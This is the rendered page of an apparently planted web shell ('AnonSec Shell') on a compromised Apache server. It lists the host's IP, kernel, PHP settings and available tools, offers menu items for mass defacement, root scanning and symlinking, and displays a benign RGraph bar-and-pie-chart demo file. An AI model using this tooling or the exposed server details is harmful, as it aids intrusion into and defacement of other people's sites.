AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 20.75.53.88 / Your IP : 216.73.217.165 [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON | cURL : OFF | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /var/www/html/ouvidoria/dev/js/RGraph/demos/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /var/www/html/ouvidoria/dev/js/RGraph/demos/bar-pie-charts-tooltips.html

<!DOCTYPE html >
<html>
<head>
    <link rel="stylesheet" href="demos.css" type="text/css" media="screen"/>

    <script src="../libraries/RGraph.common.core.js"></script>
    <script src="../libraries/RGraph.common.dynamic.js"></script>
    <script src="../libraries/RGraph.common.effects.js"></script>
    <script src="../libraries/RGraph.common.tooltips.js"></script>
    <script src="../libraries/RGraph.bar.js"></script>
    <script src="../libraries/RGraph.pie.js"></script>
    <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
    <!--[if lt IE 9]>
    <script src="../excanvas/excanvas.js"></script><![endif]-->

    <title>A Bar chart with Pie charts in tooltips</title>

    <meta name="robots" content="noindex,nofollow"/>
    <meta name="description" content="A Bar chart that has tooltips and uses the ontooltip event to add Pie charts to the tooltips"/>

</head>
<body>

<h1>A Bar chart with Pie charts in tooltips</h1>

<p>
    This Bar chart shows how you can have charts in tooltips. It uses the new DOM1 style of adding
    the ontooltip event. This ontooltip event creates the chart in the tooltip.
</p>

<canvas id="cvs" width="600" height="250">[No canvas support]</canvas>

<script>
    $(document).ready(function () {
        var bar8 = new RGraph.Bar({
            id: 'cvs',
            data: [14, 16, 18, 19, 13, 14],
            options: {
                labels: ['Fred', 'John', 'James', 'Louis', 'Pete', 'Kevin'],
                tooltips: function (index) {
                    var label = bar8.Get('labels')[index];
                    return '<div style="text-align: center; font-weight: bold; font-size: 16pt">' + label + '</div><br  /><canvas id="tooltip_canvas" width="250" height="110"></canvas>';
                }
            }
        }).grow();


        /**
         * The ontooltip event runs when a tooltip is shown and creates the Pie chart in the tooltip
         */
        bar8.ontooltip = function (obj) {
            var pie_data = [
                [80, 75, 65],
                [84, 85, 95],
                [43, 54, 85],
                [43, 51, 62],
                [74, 75, 65],
                [78, 85, 95],
                [46, 35, 52],
                [84, 94, 94]
            ]
            var tooltip = RGraph.Registry.Get('chart.tooltip');
            var index = tooltip.__index__;

            var pie = new RGraph.Pie({
                id: 'tooltip_canvas',
                data: pie_data[index],
                options: {
                    labels: ['Monday', 'Tuesday', 'Wednesday'],
                    gutter: {
                        top: 10,
                        bottom: 25
                    },
                    strokestyle: 'rgba(0,0,0,0)'
                }
            }).draw()

            pie.onmousemove = function (e, shape) {
                alert('An alert triggered by the Pie chart! Segment: ' + shape.index);
            }
        }
    })
</script>


<p>
    <a href="./">&laquo; Back</a>
</p>

</body>
</html>

Anon7 - 2022
AnonSec Team